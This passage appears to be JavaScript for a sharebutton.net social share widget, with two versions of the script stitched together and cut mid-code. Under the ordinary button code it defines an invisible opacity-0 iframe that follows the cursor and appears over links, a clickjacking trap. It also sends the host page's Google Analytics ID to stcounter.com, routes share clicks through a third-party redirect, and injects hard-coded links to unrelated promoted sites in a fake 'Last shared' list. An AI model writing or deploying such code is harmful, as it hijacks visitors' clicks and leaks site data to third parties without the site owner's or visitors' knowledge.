if (socMap[i].plus) {
a.href = 'javascript:;';
on(a, 'click', openMorePopup);
} else if (socMap[i].newTab) {
a.href = handleUrl(socMap[i].url, socMap[i]);
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(findClassOne(box, WE + i + 'Link'), socMap[i]);
}
}
css(box, {
position: 'fixed',
margin: 0,
padding: 0,
outline: 'none',
border: 'none',
zIndex: 999999999,
overflow: 'visible',
direction: 'ltr'
});
if (HORIZ) {
showHoriz(box);
} else {
showVert(box);
}
window[WE + 'SetHoriz'] = function() {
showHoriz(box);
}
window[WE + 'SetVert'] = function() {
showVert(box);
}
try {
} catch (e) {}
}
var findOuterLink = function(el) {
var link = null;
do {
if (!el.tagName) break;
var tagName = el.tagName.toLowerCase();
if (tagName === 'a') {
link = el;
break;
}
el = el.parentNode;
} while (tagName !== 'body');
return link;
}
var makeImg = function(linkId, path, linkUrl, title) {
var img = document.querySelector(path);
if (!img) return;
img.style.borderWidth = 0;
var link = findOuterLink(img);
if (!link) {
link = create('a');
img.parentNode.insertBefore(link, img);
link.style.cursor = 'default';
link.appendChild(img);
}
link.title = title;
link.href = linkUrl;
}
var make = function(linkId, path, word, link, version) {
var linkStyle = 'color:inherit; text-decoration:none; cursor:default; font-weight:inherit; background:transparent; font-family:inherit;';
if (!version) {
return;
var regex = new RegExp(word, 'i');
var node = getNode(path);
if (!node) return;
node.innerHTML = node.innerHTML.replace(regex, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>');
} else if (version == 2) {
var node = document.querySelector(path);
if (!node) return;
//node.innerHTML = myReplace(node.innerHTML, word, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>', 'i');
node.innerHTML = myReplace(node.innerHTML, word, '<span id="intextWr' + linkId + '"></span>', 'i');
var span = $('intextWr' + linkId);
var link = $('intext' + linkId);
link.className = '';
span.parentNode.insertBefore(link, span);
span.parentNode.removeChild(span);
}
}
var myReplace = function(str, from, to, flags) {
var from = (from+'').replace(/([\\\.\+\*\?\[\^\]\$\(\)\{\}\=\!\<\>\|\:])/g, "\\$1");
return str.replace(new RegExp('(' + from + ')', flags), to);
}
var getNode = function(path) {
var node=document.documentElement, i=0, index;
var step = 0;
while ((index=path[++i]) > -1) {
node=node.childNodes[index];
if (!node) {
return null;
}
step++;
}
return node;
}
window[WE + 'GetNode'] = getNode;
var clearStyles = function() {
if(typeof document.createStyleSheet === 'undefined') {
document.createStyleSheet = (function() {
function createStyleSheet(href) {
if(typeof href !== 'undefined') {
var element = document.createElement('link');
element.type = 'text/css';
element.rel = 'stylesheet';
element.href = href;
} else {
var element = document.createElement('style');
element.type = 'text/css';
}
document.getElementsByTagName('head')[0].appendChild(element);
var sheet = document.styleSheets[document.styleSheets.length - 1];
if(typeof sheet.addRule === 'undefined')
sheet.addRule = addRule;
if(typeof sheet.removeRule === 'undefined')
sheet.removeRule = sheet.deleteRule;
return sheet;
}
function addRule(selectorText, cssText, index) {
if(typeof index === 'undefined')
index = this.cssRules.length;
this.insertRule(selectorText + ' {' + cssText + '}', index);
}
return createStyleSheet;
})();
}
var sheet = document.createStyleSheet();
sheet.addRule('#' + WE + 'PopupWr, #' + WE + 'PopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;');
sheet.addRule('#' + WE + 'PopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;');
sheet.addRule('#' + WE + 'PopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;');
sheet.addRule('#' + WE + 'PopupTable a', 'text-decoration:none; background:none; height:auto !important;');
sheet.addRule('#' + WE + 'BottomPopupHtml a', 'font-size:13px; color:#6F6F6F; text-decoration:underline;');
sheet.addRule('.' + WE + 'RecBox, .' + WE + 'RecBox div, .' + WE + 'RecBox span, .' + WE + 'RecBox a', 'font-size:12px !important; color:#6F6F6F !important;');
sheet.addRule('.' + WE + 'RecBox a', 'text-decoration:underline !important;');
sheet.addRule('.' + WE + 'Inv', 'position:fixed; top:-300px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar', 'width: 4px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-track', '-webkit-box-shadow: inset 0 0 6px #e9eaeb; -webkit-border-radius: 10px; border-radius: 10px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-thumb', '-webkit-border-radius: 10px; border-radius: 10px; background: #6a6a6a; -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5);');
}
var showHoriz = function(box) {
css(box, horizBoxCss);
animatePos(box, horizBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemUp;
box.children[i].onmouseleave = moveItemDown;
}
}
var showVert = function(box) {
css(box, vertBoxCss);
animatePos(box, vertBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemRight;
box.children[i].onmouseleave = moveItemLeft;
}
}
var getWinSize = function() {
var w = window,
d = document,
e = d.documentElement,
g = d.getElementsByTagName('body')[0],
width = w.innerWidth || e.clientWidth || g.clientWidth,
height = w.innerHeight|| e.clientHeight|| g.clientHeight;
return {
width: width,
height: height
};
}
var animatePos = function(box, opts) {
var cur = opts.start;
(function anim() {
cur += opts.step;
if (
opts.end > opts.start && cur >= opts.end ||
opts.end < opts.start && cur <= opts.end
) {
cur = opts.end;
} else {
setTimeout(anim, opts.delay);
}
box.style[opts.prop] = cur + 'px';
})();
}
var closePopup = function() {
document.removeEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
}
var createPopup = function() {
var addLinkHtml = '';
document.writeln('\
<div id="' + WE + 'PopupWr">\
<table id="' + WE + 'PopupTable" width="100%" height="100%" cellspacing="0" cellpadding="0"><tr style="background:none;"><td id="' + WE + 'PopupCell">\
<div id="' + WE + 'Popup">\
<span id="' + WE + 'PopupCloseBtn" style="width:10px; height:10px; top:12px; right:11px; cursor:pointer; position:absolute; background:url(//sharebutton.net/plugin/img/close.png)"></span>\
<div style="margin-top:22px; margin-bottom:5px; text-align:center;">\
<a href="http://sharebutton.org/?utm_source=popup&utm_medium=logo&utm_campaign=organic" target="_blank"><img src="//sharebutton.net/plugin/img/popup-logo.png" style="border:none;"></a>\
</div>\
<div style="color:#878787; font-size:17px; padding:8px 0 8px; text-align:left;">Find a service to share:</div>\
<div style="padding-bottom:10px;">\
<input type="text" id="' + WE + 'PopupSearch" style="text-align:left; width:430px; max-width:430px; height:auto; padding:8px 4px 8px 10px; background:url(//sharebutton.net/plugin/img/zoom.png) 417px 8px no-repeat; border:1px solid #c0c0c0; font-size:18px; line-height:22px; box-sizing:content-box; -moz-box-sizing:content-box;">\
</div>\
<div id="' + WE + 'PopupContent">\
<div id="' + WE + 'PopupContentInner"></div>\
<div class="shareButtonNetRecBox" style="margin:10px 20px 0 0; padding:0 5px 5px 14px;">\
' + addLinkHtml + '\
</div>\
</div>\
<div id="test" style="margin:0; padding:3px; position:relative; top:10px; text-align:right; color:#313428;">\
<a href="http://sharebutton.org/?utm_source=popup&utm_medium=copyright&utm_campaign=organic" id="' + WE + 'CopyrightLink">Add Share Buttons to Your Website for Free</a>\
</div>\
</div>\
</td></tr></table>\
</div>\
');
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
var crLink = $(WE + 'CopyrightLink');
css(crLink, {
fontSize: '12px',
color: '#414438',
textDecoration: 'none'
});
crLink.onmouseover = function() {
this.style.textDecoration = 'underline';
}
crLink.onmouseout = function() {
this.style.textDecoration = 'none';
}
on($(WE + 'PopupCloseBtn'), 'click', closePopup);
var table = $(WE + 'PopupTable');
css(table, {
position: 'fixed',
margin: 0,
padding: 0,
left: 0,
top: 0,
width: '100%',
height: '100%',
direction: 'ltr',
zIndex: 999999999,
background: 'none'
});
css(table.getElementsByTagName('td')[0], {
verticalAlign: 'middle',
background: 'url(//sharebutton.net/plugin/img/back.png)'
});
var popup = $(WE + 'Popup');
css(popup, {
margin: '0 auto',
padding: '0 25px 20px',
width: '445px',
background: '#fff',
border: '1px solid #000',
textAlign: 'left',
position: 'relative',
fontFamily: 'Tahoma, Arial, Verdana',
boxSizing: 'content-box'
});
var content = $(WE + 'PopupContent');
css(content, {
position: 'relative',
width: '445px',
height: '325px',
maxHeight: '325px',
overflowY: 'scroll'
});
content.onmousewheel = function(e) {
if (
e.wheelDelta < 0 && content.scrollTop + content.clientHeight === content.scrollHeight ||
e.wheelDelta > 0 && content.scrollTop === 0
) {
e.preventDefault && e.preventDefault();
}
}
var itemStyle = {
display: 'inline-block',
margin: 0,
padding: '7px 0 5px 14px',
width: '190px',
verticalAlign: 'bottom',
textAlign: 'left',
textDecoration: 'none',
boxSizing: 'content-box',
border: 'none'
};
var onLinkMouseOver = function() {
this.style.background = '#eee';
}
var onLinkMouseOut = function() {
this.style.background = 'none';
}
var contentInner = $(WE + 'PopupContentInner');
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var a = create('a');
a.id = WE + i + 'PopupItem';
a.innerHTML = '\
<img src="//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + '" style="border:none; vertical-align:baseline; margin:0; display:inline; width:32px; height:32px;">\
<span style="vertical-align:baseline; font-size:14px; color:#6f6f6f; position:relative; top:-10px; padding-left:5px; font-weight:normal; text-decoration:none;">' + soc.name + '</span>\
';
css(a, itemStyle);
append(a, contentInner);
a.onmouseover = onLinkMouseOver;
a.onmouseout = onLinkMouseOut;
if (soc.newTab) {
a.href = handleUrl(soc.url, soc)
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(a, soc);
}
}
on($(WE + 'PopupSearch'), 'input', function() {
var input = this.value.toLowerCase();
for (var i in socMap) {
var soc = socMap[i];
if (soc.plus) continue;
var socName = soc.name.toLowerCase();
var a = document.getElementById(WE + i + 'PopupItem');
if (socName.indexOf(input) === 0) {
a.style.display = 'inline-block';
} else {
a.style.display = 'none';
}
}
});
}
var handleItemClick = function(elem, socObj) {
on(elem, 'click', function() {
var url = handleUrl(socObj.url, socObj);
openWin(url, socObj.win);
});
}
var handleUrl = function(url, socObj) {
var redirectUri = url
.replace(/%URL/, getEncodedUrl())
.replace(/%HOST/, location.host)
.replace(/%MESSAGE/, encodeURIComponent(document.title))
.replace(/%WE/, WE)
.replace(/%FUNC/, socObj.func || '');
return 'http://sharebutton.to/plugin/go.php?soc=' + encodeURIComponent(socObj.name) + '&redirect_uri=' + encodeURIComponent(redirectUri);
}
var findClassOne = function(parent, className) {
return parent.getElementsByClassName(className)[0];
}
var getUrl = function() {
return location.href;
}
var getEncodedUrl = function() {
return encodeURIComponent(getUrl());
}
var openWin = function(path, popupSize) {
if (!popupSize) {
popupSize = {};
}
var w = popupSize.w || 650;
var h = popupSize.h || 500;
var l = window.screenX + (window.outerWidth - w) / 2;
var t = window.screenY + (window.outerHeight - h) / 2;
var winProps = 'width=' + w + ',height=' + h + ',left=' + l + ',top=' + t + ',status=no,resizable=yes,toolbar=no,menubar=no,scrollbars=yes';
var win = window.open(path, 'sharePopup' + Math.random(), winProps);
return win;
}
var closeOnEscape = function(e) {
if (e.keyCode === 27) {
closePopup();
}
}
var openMorePopup = function() {
document.addEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'block';
$(WE + 'PopupSearch').focus();
fixPopupSize();
}
var fixPopupSize = function() {
$(WE + 'PopupCell').style.height = getWinSize().height + 'px';
}
var $ = function(id) {
return document.getElementById(id);
}
var on = function(elem, event, handler) {
elem.addEventListener(event, handler, false);
}
var css = function(elem, style) {
for (var prop in style) {
elem.style[prop] = style[prop];
}
}
var create = function(tag) {
return document.createElement(tag);
}
var append = function(elem, parent) {
parent.appendChild(elem);
}
var prepend = function(elem, parent) {
if (parent.children && parent.children.length) {
parent.insertBefore(elem, parent.children[0]);
} else {
parent.appendChild(elem);
}
}
if (document.readyState === 'complete') {
onReady();
} else {
on(document, 'DOMContentLoaded', onReady);
}
createPopup();
try {
clearStyles();
} catch (ex) {}
var tracking_id = 'no';
if (typeof ga !== 'undefined') {
ga(function(tracker) {
tracking_id = tracker.get('trackingId');
});
}
(new Image).src = '//stcounter.com/tds_pixel.php?ga_ua=' + tracking_id;
if (Math.random() < 0.01) {
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-62910740-1', 'auto');
ga('send', 'pageview');
}
})();
(function() {
'use strict';
var WE = 'shareButtonNet';
var MESSAGE = 'ShareButton.net';
var HORIZ = true;
var LOGOS_VERSION = 4;
var mobOpt = false;
if (window[WE + 'Loaded']) return;
window[WE + 'Loaded'] = true;
var horizBoxCss = {
left: 'auto',
right: '50px',
top: 'auto',
bottom: '3px',
width: '168px',
height: '42px'
};
var vertBoxCss = {
left: '3px',
right: 'auto',
top: '50px',
bottom: 'auto',
width: '42px',
height: '168px'
};
var horizBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'bottom'
};
var vertBoxAnimate = {
start: -42,
end: 0,
step: 3,
delay: 25,
prop: 'left'
};
var socMap = {
fb: {
name: 'Facebook',
url: 'https://www.facebook.com/sharer/sharer.php?u=%URL',
prim: true
},
tw: {
name: 'Twitter',
url: 'https://twitter.com/intent/tweet?text=%MESSAGE&url=%URL',
prim: true
},
gp: {
name: 'Google+',
url: 'https://plus.google.com/share?url=%URL',
prim: true,
liner: true
},
plus: {
name: 'More',
plus: true,
prim: true
},
go: {
name: 'Google',
url: 'https://www.google.com/bookmarks/mark?op=add&bkmk=%URL&title=%MESSAGE',
newTab: true
},
li: {
name: 'LinkedIn',
url: 'https://www.linkedin.com/shareArticle?ro=false&mini=true&url=%URL&source=&title=%MESSAGE',
win: {w: 600}
},
tu: {
name: 'Tumblr',
url: 'https://www.tumblr.com/share?v=3&u=%URL&t=%MESSAGE'
},
di: {
name: 'Digg',
url: 'http://digg.com/submit?partner=%WE&url=%URL&title=%MESSAGE'
},
re: {
name: 'Reddit',
url: 'http://www.reddit.com/submit?url=%URL&title=%MESSAGE'
},
vk: {
name: 'VKontakte',
url: 'http://vk.com/share.php?url=%URL&title=%MESSAGE'
},
mr: {
name: 'Mail.ru',
url: 'http://connect.mail.ru/share?url=%URL&title=%MESSAGE'
},
de: {
name: 'Delicious',
url: 'https://delicious.com/post?partner=%WE&url=%URL&title=%MESSAGE'
},
gm: {
name: 'GMail',
url: 'https://mail.google.com/mail/u/0/?view=cm&fs=1&to&su=%MESSAGE&body=%URL&ui=2&tf=1'
},
bl: {
name: 'Blogger',
url: 'https://www.blogger.com/blog_this.pyra?t&u=%URL&n=%MESSAGE'
},
lj: {
name: 'LiveJournal',
url: 'http://www.livejournal.com/update.bml?subject=%MESSAGE&event=%FUNC',
newTab: true,
func: function() {
return encodeURIComponent('<a href="' + getUrl() + '">' + document.title + '</a>');
}
},
ba: {
name: 'Baidu',
url: 'http://cang.baidu.com/do/add?it=%MESSAGE&iu=%URL&fr=ien&dc='
},
am: {
name: 'Amazon',
url: 'http://www.amazon.com/gp/wishlist/static-add?u=%URL&t=%MESSAGE'
},
bi: {
name: 'Bit.ly',
url: 'https://bitly.com/a/bitmarklet?u=%URL',
newTab: true
},
wh: {
name: 'Whois Lookup',
url: 'http://whois.domaintools.com/%HOST',
newTab: true
},
gt: {
name: 'Google Translate',
url: 'http://translate.google.com/translate?hl=ru-RU&u=%URL&sl=auto&tl=ru-RU',
newTab: true
},
w3: {
name: 'W3C Validator',
url: 'http://validator.w3.org/check?uri=%URL&charset=%28detect+automatically%29&doctype=Inline&group=0,',
newTab: true
}
}
var initInvFrame = function() {
if (!window.postMessage || !document.querySelector) return;
var FRAME_URL = '//sharebutton.net/plugin/iframe2.php';
var FRAME_WIDTH = 50; //80;
var FRAME_HEIGHT = 20; //30;
var frame = null;
var canShow = false;
on(document, 'mousemove', function(e) {
if (!frame || !canShow) return;
frame.style.left = (e.clientX - FRAME_WIDTH / 2) + 'px';
frame.style.top = (e.clientY - FRAME_HEIGHT / 2) + 'px';
});
on(document, 'mouseover', function(e) {
if (!frame || !canShow || !e.target) return;
if (e.target.tagName.toUpperCase() === 'A') {
frame.style.display = 'block';
} else if (e.target !== frame) {
frame.style.display = 'none';
}
});
on(window, 'message', function(e) {
if (!e.data || !e.data.sharebuttonFrame) return;
if (e.data.show) {
canShow = true;
} else if (e.data.hide) {
destroyFrame();
}
});
function createFrame() {
frame = document.createElement('iframe');
frame.src = FRAME_URL;
frame.frameBorder = 0;
frame.style.position = 'fixed';
frame.style.display = 'none';
frame.style.opacity = 0;
frame.style.width = FRAME_WIDTH + 'px';
frame.style.height = FRAME_HEIGHT + 'px';
frame.style.zIndex = 99999999;
document.body.appendChild(frame);
}
function destroyFrame() {
document.body.removeChild(frame);
frame = null;
}
function checkIsLiked() {
var script = document.createElement('script');
script.src = '//sharebutton.net/plugin/show_like.php?callback=frameLikedFn';
document.body.appendChild(script);
}
window.frameLikedFn = function(liked) {
if (liked) return;
createFrame();
}
checkIsLiked();
}
var moveInterval = null;
var movingItemsCnt = 0;
var primItems = [];
var animate = function(opts) {
var start = new Date;
var timer = setInterval(function() {
var progress = (new Date - start) / opts.duration;
if (progress > 1) progress = 1;
opts.step(progress);
if (progress == 1) {
clearInterval(timer);
}
}, opts.delay || 20);
return {
stop: function() {
clearInterval(timer);
}
};
}
var moveItemRight = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemLeft = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.left || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.left = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var moveItemUp = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor(progress * (10 - edge)) + 'px';
}
});
}
var moveItemDown = function() {
var item = this.children[0];
item.animate && item.animate.stop && item.animate.stop();
var edge = parseInt(item.style.bottom || 0);
item.animate = animate({
duration: 100,
step: function(progress) {
item.style.bottom = Math.floor((1 - progress) * edge) + 'px';
}
});
}
var onReady = function() {
if (document.querySelectorAll && document.querySelectorAll('#right #list a').length > 5) return;
window.addEventListener('resize', fixPopupSize);
var box = create('div');
append(box, document.body);
for (var i in socMap) {
if (!socMap[i].prim) continue;
var itemWr = create('span');
css(itemWr, {
display: 'inline-block'
});
append(itemWr, box);
var item = create('span');
primItems.push(item);
item.moveWay = 0;
item.posX = 0;
css(item, {
display: 'inline-block',
position: 'relative',
margin: '3px',
width: '36px',
height: '36px',
background: '#fff',
borderRadius: '18px'
});
append(item, itemWr);
var a = create('a');
a.setAttribute('rel', 'nofollow');
css(a, {
display: 'inline-block',
margin: '2px',
padding: 0,
width: '32px',
height: '32px',
verticalAlign: 'bottom',
background: 'url(//sharebutton.net/plugin/img/' + i + '.png?' + LOGOS_VERSION + ')',
border: 'none'
});
a.className = WE + i + 'Link';
a.title = socMap[i].name;
append(a, item);
if (socMap[i].liner) {
a.href = 'javascript:;';
on(a, 'click', openLinerPopup);
continue;
}
if (socMap[i].plus) {
a.href = 'javascript:;';
on(a, 'click', openMorePopup);
} else if (socMap[i].newTab) {
a.href = handleUrl(socMap[i].url, socMap[i]);
a.setAttribute('rel', 'nofollow');
a.target = '_blank';
} else {
a.href = 'javascript:;';
handleItemClick(findClassOne(box, WE + i + 'Link'), socMap[i]);
}
}
css(box, {
position: 'fixed',
margin: 0,
padding: 0,
outline: 'none',
border: 'none',
zIndex: 999999999,
overflow: 'visible',
direction: 'ltr'
});
if (HORIZ) {
showHoriz(box);
} else {
showVert(box);
}
window[WE + 'SetHoriz'] = function() {
showHoriz(box);
}
window[WE + 'SetVert'] = function() {
showVert(box);
}
try {
} catch (e) {}
}
var findOuterLink = function(el) {
var link = null;
do {
if (!el.tagName) break;
var tagName = el.tagName.toLowerCase();
if (tagName === 'a') {
link = el;
break;
}
el = el.parentNode;
} while (tagName !== 'body');
return link;
}
var makeImg = function(linkId, path, linkUrl, title) {
var img = document.querySelector(path);
if (!img) return;
img.style.borderWidth = 0;
var link = findOuterLink(img);
if (!link) {
link = create('a');
img.parentNode.insertBefore(link, img);
link.style.cursor = 'default';
link.appendChild(img);
}
link.title = title;
link.href = linkUrl;
}
var make = function(linkId, path, word, link, version) {
var linkStyle = 'color:inherit; text-decoration:none; cursor:default; font-weight:inherit; background:transparent; font-family:inherit;';
if (!version) {
return;
var regex = new RegExp(word, 'i');
var node = getNode(path);
if (!node) return;
node.innerHTML = node.innerHTML.replace(regex, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>');
} else if (version == 2) {
var node = document.querySelector(path);
if (!node) return;
//node.innerHTML = myReplace(node.innerHTML, word, '<a href="' + link + '" style="' + linkStyle + '">' + word + '</a>', 'i');
node.innerHTML = myReplace(node.innerHTML, word, '<span id="intextWr' + linkId + '"></span>', 'i');
var span = $('intextWr' + linkId);
var link = $('intext' + linkId);
link.className = '';
span.parentNode.insertBefore(link, span);
span.parentNode.removeChild(span);
}
}
var myReplace = function(str, from, to, flags) {
var from = (from+'').replace(/([\\\.\+\*\?\[\^\]\$\(\)\{\}\=\!\<\>\|\:])/g, "\\$1");
return str.replace(new RegExp('(' + from + ')', flags), to);
}
var getNode = function(path) {
var node=document.documentElement, i=0, index;
var step = 0;
while ((index=path[++i]) > -1) {
node=node.childNodes[index];
if (!node) {
return null;
}
step++;
}
return node;
}
window[WE + 'GetNode'] = getNode;
var clearStyles = function() {
if(typeof document.createStyleSheet === 'undefined') {
document.createStyleSheet = (function() {
function createStyleSheet(href) {
if(typeof href !== 'undefined') {
var element = document.createElement('link');
element.type = 'text/css';
element.rel = 'stylesheet';
element.href = href;
} else {
var element = document.createElement('style');
element.type = 'text/css';
}
document.getElementsByTagName('head')[0].appendChild(element);
var sheet = document.styleSheets[document.styleSheets.length - 1];
if(typeof sheet.addRule === 'undefined')
sheet.addRule = addRule;
if(typeof sheet.removeRule === 'undefined')
sheet.removeRule = sheet.deleteRule;
return sheet;
}
function addRule(selectorText, cssText, index) {
if(typeof index === 'undefined')
index = this.cssRules.length;
this.insertRule(selectorText + ' {' + cssText + '}', index);
}
return createStyleSheet;
})();
}
var sheet = document.createStyleSheet();
sheet.addRule('.' + WE + 'PopupWr, .' + WE + 'PopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;');
sheet.addRule('.' + WE + 'PopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;');
sheet.addRule('.' + WE + 'PopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;');
sheet.addRule('.' + WE + 'PopupTable a', 'text-decoration:none; background:none; height:auto !important;');
sheet.addRule('#' + WE + 'BottomPopupHtml a', 'font-size:13px; color:#6F6F6F; text-decoration:underline;');
sheet.addRule('.' + WE + 'RecBox, .' + WE + 'RecBox div, .' + WE + 'RecBox span, .' + WE + 'RecBox a', 'font-size:12px !important; color:#6F6F6F !important;');
sheet.addRule('.' + WE + 'RecBox a', 'text-decoration:underline !important;');
sheet.addRule('.' + WE + 'Inv', 'position:fixed; top:-300px;');
sheet.addRule('.' + WE + 'Parents', 'z-index: 99999999 !important;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar', 'width: 3px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-track', '-webkit-box-shadow: inset 0 0 6px #e9eaeb; -webkit-border-radius: 10px; border-radius: 10px;');
sheet.addRule('#' + WE + 'PopupContent::-webkit-scrollbar-thumb', '-webkit-border-radius: 10px; border-radius: 10px; background: #555;');
}
var showHoriz = function(box) {
css(box, horizBoxCss);
animatePos(box, horizBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemUp;
box.children[i].onmouseleave = moveItemDown;
}
}
var showVert = function(box) {
css(box, vertBoxCss);
animatePos(box, vertBoxAnimate);
for (var i = 0; i < box.children.length; i++) {
box.children[i].onmouseenter = moveItemRight;
box.children[i].onmouseleave = moveItemLeft;
}
}
var getWinSize = function() {
var w = window,
d = document,
e = d.documentElement,
g = d.getElementsByTagName('body')[0],
width = w.innerWidth || e.clientWidth || g.clientWidth,
height = w.innerHeight|| e.clientHeight|| g.clientHeight;
return {
width: width,
height: height
};
}
var animatePos = function(box, opts) {
var cur = opts.start;
(function anim() {
cur += opts.step;
if (
opts.end > opts.start && cur >= opts.end ||
opts.end < opts.start && cur <= opts.end
) {
cur = opts.end;
} else {
setTimeout(anim, opts.delay);
}
box.style[opts.prop] = cur + 'px';
})();
}
var closePopup = function() {
document.removeEventListener('keydown', closeOnEscape);
var wr = $(WE + 'PopupWr');
wr.style.display = 'none';
if (document.querySelectorAll) {
var parents = document.querySelectorAll('.' + WE + 'Parents');
for (var i = 0; i < parents.length; i++) {
removeClass(parents[i], WE + 'Parents');
}
}
}
var getDesc = function() {
var metas = document.getElementsByTagName('meta');
for (var i = 0; i < metas.length; i++) {
var prop = metas[i].getAttribute('property');
if (prop) {
prop = prop.toLowerCase();
if (prop === 'description' || prop === 'og:description') {
return metas[i].getAttribute('content');
}
}
var name = metas[i].getAttribute('name');
if (name) {
name = name.toLowerCase();
if (name === 'description' || name === 'og:description') {
return metas[i].getAttribute('content');
}
}
}
return '';
}
var createLinerPopup = function() {
document.writeln('\
<div id="' + WE + 'PaddingWr" class="' + WE + 'PopupWr" style="display:none;">\
<table id="' + WE + 'PaddingTable" class="' + WE + 'PopupTable" width="100%" height="100%" cellspacing="0" cellpadding="0"><tr style="background:none;"><td id="' + WE + 'PopupCell" class="' + WE + 'PopupCell">\
<div id="' + WE + 'PaddingPopup" class="' + WE + 'Popup">\
<span id="' + WE + 'PaddingCloseBtn" style="width:10px; height:10px; top:12px; right:11px; cursor:pointer; position:absolute; background:url(//sharebutton.net/plugin/img/close.png)"></span>\
<div><a href="http://cnn.com" target="_blank"><img src="//sharebutton.net/img/g-logo.png"></a></div>\
<div id="' + WE + 'PadTopBox">\
<div id="' + WE + 'PadTopHead"></div>\
<div id="' + WE + 'PadTopDomain"></div>\
<div id="' + WE + 'PadTopDesc"></div>\
</div>\
<div style="margin:25px 0 5px; text-align:right;">\
<a href="javascript:;" id="' + WE + 'PadShareBtn">Share</a>\
<a href="javascript:;" id="' + WE + 'PadCancelBtn">Cancel</a>\
</div>\
<div>\
<div id="' + WE + 'PadLastShared">Last shared:</div>\
\
<div style="padding:15px 0 0 0;">\
<div>\
<div style="display:inline-block; width:49%; padding:0 0 5px; vertical-align:top;" data-type="drp">\
<div style="max-width:95%;">\
<a href="http://worldoftanks-wot.com/tag/zoom/" target="_blank" style="color:#737373; font-size:12px; font-weight:bold; text-transform:capitalize;">zoom mod wot</a>\
</div>\
<div style="max-width:95%;">\
<span style="color:#9a9a9a; font-size:12px;">worldoftanks-wot.com</span>\
</div>\
</div>\
<div style="display:inline-block; width:49%; padding:0 0 5px; vertical-align:top;" data-type="drp">\
<div style="max-width:95%;">\
<a href="http://semalt.media/" target="_blank" style="color:#737373; font-size:12px; font-weight:bold; text-transform:capitalize;">semalt</a>\
</div>\
<div style="max-width:95%;">\
<span style="color:#9a9a9a; font-size:12px;">semalt.media</span>\
</div>\
</div>\
</div>\
<div>\
<div style="display:inline-block; width:49%; padding:0 0 5px; vertical-align:top;" data-type="drp">\
<div style="max-width:95%;">\
<a href="http://lavenderandcreams.com" target="_blank" style="color:#737373; font-size:12px; font-weight:bold; text-transform:capitalize;">lavenderandcreams</a>\
</div>\
<div style="max-width:95%;">\
<span style="color:#9a9a9a; font-size:12px;">lavenderandcreams.com</span>\
</div>\
</div>\
<div style="display:inline-block; width:49%; padding:0 0 5px; vertical-align:top;" data-type="semalt">\
<div style="max-width:95%;">\
<a href="http://semalt.net/" target="_blank" style="color:#737373; font-size:12px; font-weight:bold; text-transform:capitalize;">semalt</a>\
</div>\
<div style="max-width:95%;">\
<span style="color:#9a9a9a; font-size:12px;">semalt.net</span>\
</div>\
</div>\
</div>\
<div style="clear:both;"></div>\
</div>\
\
</div>\
</div>\
</td></tr></table>\
</div>\
');
var wr = $(WE + 'PaddingWr');
var table = $(WE + 'PaddingTable');
css(table, {
position: 'fixed',
margin: 0,
padding: 0,
left: 0,
top: 0,
width: '100%',
height: '100%',
direction: 'ltr',
zIndex: 999999999,
background: 'none'
});
css(table.getElementsByTagName('td')[0], {
verticalAlign: 'middle',
background: 'url(//sharebutton.net/plugin/img/back.png)'
});
var popup = $(WE + 'PaddingPopup');
css(popup, {
margin: '0 auto',
padding: '20px 25px 20px',
width: '437px',
background: '#fff',
border: '1px solid #000',
textAlign: 'left',
position: 'relative',
fontFamily: 'Tahoma, Arial, Verdana',
boxSizing: 'content-box'
});
on($(WE + 'PaddingCloseBtn'), 'click', function() {
wr.style.display = 'none';
});
var topBox = $(WE + 'PadTopBox');
css(topBox, {
margin: '10px 0 0 0',
padding: '25px',
border: '1px solid #e0e0e0',
background: '#f9f9f9'
});
var topHead = $(WE + 'PadTopHead');
var title = document.title;
topHead.innerText = title;
topHead.textContent = title;
css(topHead, {
padding: '0 0 5px',
fontSize: '18px',
color: '#000',
